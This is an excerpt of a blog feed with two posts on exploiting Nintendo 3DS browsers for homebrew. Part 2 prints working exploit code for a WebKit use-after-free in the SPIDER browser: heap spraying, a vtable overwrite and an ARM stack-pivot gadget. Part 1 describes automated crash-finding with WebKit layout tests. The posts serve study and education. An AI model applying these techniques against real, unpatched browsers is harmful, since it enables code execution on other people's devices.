/><media:content medium="image" url="https://mrnbayoh.github.io/blog/assets/images/banners/banner.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Exploiting the 3DS browsers - Part 2: validityhax</title><link href="https://mrnbayoh.github.io/blog/3ds/2019/01/12/exploiting-the-3ds-browsers-p2.html" rel="alternate" type="text/html" title="Exploiting the 3DS browsers - Part 2: validityhax" /><published>2019-01-12T00:00:00+00:00</published><updated>2019-01-12T00:00:00+00:00</updated><id>https://mrnbayoh.github.io/blog/3ds/2019/01/12/exploiting-the-3ds-browsers-p2</id><content type="html" xml:base="https://mrnbayoh.github.io/blog/3ds/2019/01/12/exploiting-the-3ds-browsers-p2.html"><![CDATA[<h2 id="intro"><strong>Intro</strong></h2>

<p style="text-align: justify">Here it is, the first vulnerability I exploited which affects <strong>SPIDER</strong> (O3DS).
In this post I will go through the process of identifying the vulnerability and getting a rop-chain execution.</p>

<p style="text-align: justify">I might post later about how to get real code execution, but since it’s all about abusing GPU’s DMA and it’s used by all userland exploits I’m sure you can figure it all by yourself.</p>

<h2 id="the-crash-poc"><strong>The crash PoC</strong></h2>

<p>Looking at the several webkit testcases that crashed <strong>SPIDER</strong>, I found this pretty interesting one:</p>

<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;head&gt;</span>
<span class="nt">&lt;script&gt;</span>
<span class="kd">function</span> <span class="nf">runTest</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kd">var</span> <span class="nx">validity</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">control</span><span class="dl">"</span><span class="p">).</span><span class="nx">validity</span><span class="p">;</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nf">removeChild</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">control</span><span class="dl">"</span><span class="p">));</span>
    <span class="nx">validity</span><span class="p">.</span><span class="nx">valueMissing</span><span class="p">;</span>
    <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">result</span><span class="dl">"</span><span class="p">).</span><span class="nx">firstChild</span><span class="p">.</span><span class="nx">data</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Test has run: If no assertion or crash occurred, it passed.</span><span class="dl">"</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/head&gt;</span>

<span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"runTest()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;select</span> <span class="na">id=</span><span class="s">"control"</span><span class="nt">&gt;&lt;/select&gt;</span>
<span class="nt">&lt;/body&gt;</span></code></pre></figure>

<p style="text-align: justify">You might wonder why this specific test is so interesting… well… among all the nullptr and weird complicated bugs that showed up this one was simple enough to directly understand what was wrong.</p>

<p style="text-align: justify">Let’s take a look at this, the bug clearly occurs when executing <code class="language-plaintext highlighter-rouge">validity.valueMissing</code>. It seems it’s trying to access something from the variable <code class="language-plaintext highlighter-rouge">validity</code> which comes from a node deleted just before the bug occurs… clearly a Use-after-Free!</p>

<p style="text-align: justify">The bug actually occurs because <code class="language-plaintext highlighter-rouge">valueMissing</code> is an interface for the <code class="language-plaintext highlighter-rouge">valueMissing</code> function of the <code class="language-plaintext highlighter-rouge">control</code> element - which get freed when deleting the node. After deleting the node, the <code class="language-plaintext highlighter-rouge">ValidityState</code> object associated to the <code class="language-plaintext highlighter-rouge">validity</code> variable is still allocated and holds a pointer to the freed <code class="language-plaintext highlighter-rouge">control</code> object, thus leading to a Use-after-Free.<br />
For more details about this bug you might want to read the <a href="https://trac.webkit.org/changeset/53364/webkit">patch changelog</a>.</p>

<h2 id="spraying-the-heap"><strong>Spraying the Heap</strong></h2>

<p style="text-align: justify">Now that we have a basic understanding of what is going on, we need to re-allocate and write over the memory associated to the freed <code class="language-plaintext highlighter-rouge">control</code> element. Our goal is to overwrite the <code class="language-plaintext highlighter-rouge">valueMissing</code> field to get and arbitrary jump.</p>

<p style="text-align: justify">Heap spraying is a common method used for browsers exploitation, we are going to allocate a bunch of javascript objects and hope the freed memory will be re-allocated for our new objects.
To allocate and write arbitrary data on the heap, one can use the <code class="language-plaintext highlighter-rouge">unescape</code> function to allocate some simple strings.</p>

<p>Let’s try to spray the heap then with this simple example:</p>

<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;head&gt;</span>
<span class="nt">&lt;script&gt;</span>
<span class="kd">function</span> <span class="nf">gc</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">if </span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">GCController</span><span class="p">)</span>
    <span class="k">return</span> <span class="nx">GCController</span><span class="p">.</span><span class="nf">collect</span><span class="p">();</span>

  <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
  <span class="p">{</span> <span class="c1">// &gt; force garbage collection (FF requires about 9K allocations before a collect)</span>
    <span class="kd">var</span> <span class="nx">s</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="p">(</span><span class="dl">"</span><span class="s2">abc</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">();</span>
<span class="kd">function</span> <span class="nf">spray</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1200</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="nx">obj</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nf">unescape</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u4141</span><span class="se">\</span><span class="s2">u4141</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nf">boom</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kd">var</span> <span class="nx">v</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">control</span><span class="dl">"</span><span class="p">).</span><span class="nx">validity</span><span class="p">;</span>
  <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nf">removeChild</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">control</span><span class="dl">"</span><span class="p">));</span>
  <span class="nf">gc</span><span class="p">();</span>
  <span class="nf">spray</span><span class="p">();</span>
  <span class="nx">v</span><span class="p">.</span><span class="nx">valueMissing</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/head&gt;</span>

<span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"boom()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;select</span> <span class="na">id=</span><span class="s">"control"</span><span class="nt">&gt;&lt;/select&gt;</span>
<span class="nt">&lt;/body&gt;</span></code></pre></figure>

<p style="text-align: justify">First, we force the removed element to be garbage collected so we can re-allocate its memory, then we allocate a bunch of <code class="language-plaintext highlighter-rouge">\u4141\u4141</code> strings and hope to overwrite what we want… well it won’t work.</p>

<p style="text-align: justify">The heap is divided into buckets and each bucket has its own block size, so when you allocate on the heap your newly allocated object will be stored in the most appropriate bucket - based on the size you are allocating.<br />
So if we want to successfully overwrite the <code class="language-plaintext highlighter-rouge">control</code> element’s memory we have to allocate a string whose length is close enough to that of the freed object.</p>

<p style="text-align: justify">I was clearly too lazy to find the exact size of the element so I tried a couple of different sizes and finally found that allocating 192 bytes made the browser crash with <code class="language-plaintext highlighter-rouge">r0=0x41414141</code> :)</p>

<h2 id="getting-an-arbitrary-jump"><strong>Getting an arbitrary jump</strong></h2>

<p style="text-align: justify">So now it is time to gain control of the execution flow. We already know that calling <code class="language-plaintext highlighter-rouge">v.valueMissing</code> trigger a virtual method call in the overwritten object, since we control that object we can easily replace the pointer to its vtable.</p>

<p>Let’s take a look at the related assembly code:</p>

<figure class="highlight"><pre><code class="language-arm" data-lang="arm">...
ldr r1, [r0]        =&gt; here r0 = ptr to the overwritten object so r1 &lt;- object vtable
add r1, r1, #0x284  =&gt; just adding the offset of valueMissing in the vtable
ldr r1, [r1]        =&gt; r1 &lt;- [vtable+0x284] = valueMissing ptr
blx r1              =&gt; call valueMissing
...</code></pre></figure>

<p style="text-align: justify">This is great because when branching <code class="language-plaintext highlighter-rouge">r0</code> still points to the overwritten object and we might be able to load values from there later.  We can get an arbitrary just fairly easily since we can just overwrite the vtable pointer but we still have to find a way to stack pivot from there.</p>

<h2 id="stack-pivoting"><strong>Stack pivoting</strong></h2>

<p style="text-align: justify">So, I searched for some gadgets and functions in the <strong>SPIDER</strong> binaries in the hope to find something useful to gain control of <code class="language-plaintext highlighter-rouge">sp</code>.  Fortunately I found the <code class="language-plaintext highlighter-rouge">magic_func</code>, trust me it is really magic, let’s take a look at it:</p>

<figure class="highlight"><pre><code class="language-arm" data-lang="arm">magic_func:
  mov r1, #0x1A0
  add r0, r0, #0x58
  bl  magic_pivot

...

magic_pivot:
  add     r8, r0, #0x2c
  mov     r4, r1
  vldmia  r8!, {d8-d10}
  vldmia  r8!, {d11}
  vldmia  r8!, {d12-d14}
  vldmia  r8!, {d15}
  add     r8, r0, #0x2c
  ldr     r0, [r8, #-4]!
  nop
  ldr     r0, [r8, #-4]!
  mov     sp, r0
  movs    r0, r4
  ldmdb   r8!, {r4-r7}
  moveq   r0, #1
  ldmdb   r8, {r8-r11, lr}
  bx lr</code></pre></figure>

<p style="text-align: justify">With this function, one is able to load arbitrary values in <code class="language-plaintext highlighter-rouge">sp</code> and <code class="language-plaintext highlighter-rouge">lr</code> from the address pointed by <code class="language-plaintext highlighter-rouge">r0</code> :).
Thus we know where to jump but still need to setup the fake vtable, do we? Hum let’s search for the address of <code class="language-plaintext highlighter-rouge">magic_func</code> in the binary before… well there is a pointer to this function in the .rodata section :D - let’s call this location <code class="language-plaintext highlighter-rouge">MAGIC_FUNC_PTR</code>.</p>

<p>Here is the strategy:</p>
<ul style="text-align: justify">
  <li>overwrite the vtable pointer and replace it with <code class="language-plaintext highlighter-rouge">MAGIC_FUNC_PTR-0x284</code>;</li>
  <li>set the appropriate fields of the overwritten object so they will be loaded in <code class="language-plaintext highlighter-rouge">sp</code> and <code class="language-plaintext highlighter-rouge">lr</code>;</li>
  <li>call <code class="language-plaintext highlighter-rouge">valueMissing</code> to trigger the vulnerability.</li>
</ul>

<p>Let’s simulate it on the associated assembly code:</p>

<figure class="highlight"><pre><code class="language-arm" data-lang="arm">...
ldr r1, [r0]        =&gt; here r0 = ptr to the overwritten object so r1 &lt;- MAGIC_FUNC_PTR-0x284
add r1, r1, #0x284  =&gt; r1 &lt;- r1+0x284 = MAGIC_FUNC_PTR
ldr r1, [r1]        =&gt; r1 &lt;- [MAGIC_FUNC_PTR] = address of magic_func
blx r1              =&gt; call magic_func :) with r0 = address of overwritten object
...</code></pre></figure>

<p style="text-align: justify">This way we directly gain control of the execution flow without spraying additional buffers.</p>

<h2 id="exploit-poc"><strong>Exploit PoC</strong></h2>

<p>Here is the final exploit PoC:</p>

<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt">&lt;head&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"ropdb.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"rop_utils.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
<span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"ropchain.js"</span><span class="nt">&gt;&lt;/script&gt;</span>

<span class="nt">&lt;script&gt;</span>
<span class="kd">function</span> <span class="nf">make_obj</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kd">var</span> <span class="nx">res</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="nx">MAGIC_FUNC_PTR</span><span class="o">-</span><span class="mh">0x284</span><span class="p">);</span>
  <span class="c1">// browser will do this func call: *(*(object) + 0x284)()</span>
  <span class="c1">// thus it will call MAGIC_FUNC =&gt; stack pivot + arb jump</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode_repeat</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">,</span> <span class="mi">21</span><span class="p">);</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R8</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R9</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R10</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R11</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="nx">NOP</span><span class="p">);</span>                     <span class="c1">// LR</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R4</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R5</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R6</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">);</span>              <span class="c1">// R7</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode</span><span class="p">(</span><span class="nx">SLED_STACK</span><span class="p">);</span>              <span class="c1">// SP</span>
  <span class="nx">res</span> <span class="o">+=</span> <span class="nf">u32_to_unicode_repeat</span><span class="p">(</span><span class="mh">0xDEADCAFE</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>	  <span class="c1">// set obj size = 48*4</span>
  <span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">obj_str</span> <span class="o">=</span> <span class="nf">make_obj</span><span class="p">();</span>
<span class="kd">function</span> <span class="nf">boom</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kd">var</span> <span class="nx">v</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">s_control</span><span class="dl">"</span><span class="p">).</span><span class="nx">validity</span><span class="p">;</span>
  <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nf">removeChild</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">s_control</span><span class="dl">"</span><span class="p">));</span>
  <span class="nf">gc</span><span class="p">();</span>
  <span class="nf">spray</span><span class="p">(</span><span class="nx">obj_str</span><span class="p">);</span>
  <span class="nf">ropsetup</span><span class="p">(</span><span class="nx">ropchain</span><span class="p">);</span>
  <span class="nx">v</span><span class="p">.</span><span class="nx">valueMissing</span><span class="p">;</span>
<span class="p">}</span>
<span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/head&gt;</span>

<span class="nt">&lt;body</span> <span class="na">onload=</span><span class="s">"boom()"</span><span class="nt">&gt;</span>
<span class="nt">&lt;select</span> <span class="na">id=</span><span class="s">"s_control"</span><span class="nt">&gt;&lt;/select&gt;</span>
<span class="nt">&lt;/body&gt;</span></code></pre></figure>

<p style="text-align: justify">The <code class="language-plaintext highlighter-rouge">u32_to_unicode</code> function just converts an integer to a unicode string for the <code class="language-plaintext highlighter-rouge">unescape</code> function, <code class="language-plaintext highlighter-rouge">spray</code> takes in parameter the string to be allocated - the fake object - and <code class="language-plaintext highlighter-rouge">ropsetup</code> writes the rop-chain but this part will be detailed in another post.</p>

<h2 id="conclusion"><strong>Conclusion</strong></h2>

<p style="text-align: justify">Exploiting this vulnerability was quite easy since the bug was quite simple and only required a single jump to successfully gain control of the execution flow.  The next post will be dedicated to the <strong>SKATER</strong> bug which is a bit harder to understand and exploit :)</p>]]></content><author><name></name></author><category term="3ds" /><category term="3ds" /><category term="exploit" /><category term="browser" /><category term="webkit" /><category term="spider" /><summary type="html"><![CDATA[Intro]]></summary></entry><entry><title type="html">Exploiting the 3DS browsers - Part 1: Finding flaws</title><link href="https://mrnbayoh.github.io/blog/3ds/2018/12/25/exploiting-the-3ds-browsers-p1.html" rel="alternate" type="text/html" title="Exploiting the 3DS browsers - Part 1: Finding flaws" /><published>2018-12-25T00:00:00+00:00</published><updated>2018-12-25T00:00:00+00:00</updated><id>https://mrnbayoh.github.io/blog/3ds/2018/12/25/exploiting-the-3ds-browsers-p1</id><content type="html" xml:base="https://mrnbayoh.github.io/blog/3ds/2018/12/25/exploiting-the-3ds-browsers-p1.html"><![CDATA[<h2 id="intro">Intro</h2>

<p style="text-align: justify">This post starts a series of a few ones dedicated to web browsers exploitation on the (New) Nintendo 3DS system.</p>

<p style="text-align: justify">Browsers were - a few years ago - quite popular entrypoints for gaining code execution and launch the homebrew launcher. Back then <a href="https://twitter.com/ylws8">yellows8</a> regularly updated his <a href="https://yls8.mtheall.com/3dsbrowserhax.php">browserhax</a> to support new browser versions and/or gain in stability, thus to try to limit the use of such exploits, Nintendo introduced in <a href="https://www.3dbrew.org/wiki/9.9.0-26">firmware version 9.9.0</a> a version check preventing anyone to use the browser without having the latest firmware version installed.</p>

<p style="text-align: justify">Since there had not been any browser exploit for quite a while and I had never exploited such applications, I thought it was a good challenge.</p>

<p>Anyway, let’s dive in!</p>

<h2 id="first-look">First look</h2>

<p style="text-align: justify">There are two different <a href="https://3dbrew.org/wiki/Internet_Browser">browsers</a>, <strong>SPIDER</strong> for O3DS and <strong>SKATER</strong> for N3DS.</p>

<p>Let’s take a look at their User-Agents (firmware version 11.8):</p>
<ul>
  <li><strong>SPIDER</strong>: <code class="language-plaintext highlighter-rouge">Mozilla/5.0 (Nintendo 3DS; U; ; fr) Version/1.7630.EU</code></li>
  <li><strong>SKATER</strong>: <code class="language-plaintext highlighter-rouge">Mozilla/5.0 (New Nintendo 3DS like iPhone) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.0.5.20 Mobile NintendoBrowser/1.9.10160.EU</code></li>
</ul>

<p>They are based on two different old revisions of <a href="https://webkit.org/">WebKit</a>, they were probably just updated to apply security patches.</p>

<h2 id="finding-flaws">Finding flaws</h2>

<p style="text-align: justify">The webkit source repository provides many tests (“LayoutTests”) specifically crafted to check browsers behavior, of course among those tests are critical vulnerability tests (Use-After-Free for example).<br />
The strategy is quite simple here, run tests until you find an exploitable crash.</p>

<p style="text-align: justify">There is still an issue though… there is a bunch of tests! It is inconceivable to run several thousand tests all by hand, although some people already tried to find bugs this way and succeeded…</p>

<p style="text-align: justify">I decided to use a more efficient method, I first cloned all the <a href="https://github.com/WebKit/webkit/tree/master/LayoutTests">LayoutTests</a> (it’s huge!) and then wrote a small python server to iterate through all the tests. The idea is simple: load a test every second.</p>
<p>There are however some downsides:</p>
<ul>
  <li>this is still quite slow (but faster than by hand);</li>
  <li>the iteration might stop sometimes;</li>
  <li>it does not detect crashes involving user interactions (it would not find <a href="https://github.com/yellows8/3ds_webkithax/blob/master/3dsbrowserhax_webkit_r158724.php">sliderhax</a> for example).</li>
</ul>

<p style="text-align: justify">But anyway since this is an automatic tester you don’t need to look at your 3DS all the time.</p>

<p style="text-align: justify">Another idea was to build those old revisions of webkit… but well building old revisions is clearly a pain so let’s use the auto tester.</p>

<h2 id="results">Results</h2>

<p style="text-align: justify">The auto tester revealed to be quite a good solution, I found a bunch of useless nullptr bugs but also more interesting bugs such as Use-After-Free vulnerabilities. Since the two browsers are not based on the same webkit revision, the critical bugs affecting one of them are unlikely to affect the other one.<br />
Thus, the next posts of this series will be dedicated to two different vulnerabilities I exploited in <strong>SPIDER</strong> and <strong>SKATER</strong>.</p>]]></content><author><name></name></author><category term="3ds" /><category term="3ds" /><category term="browser" /><category term="exploit" /><category term="webkit" /><summary type="html"><![CDATA[Intro]]></summary></entry></feed>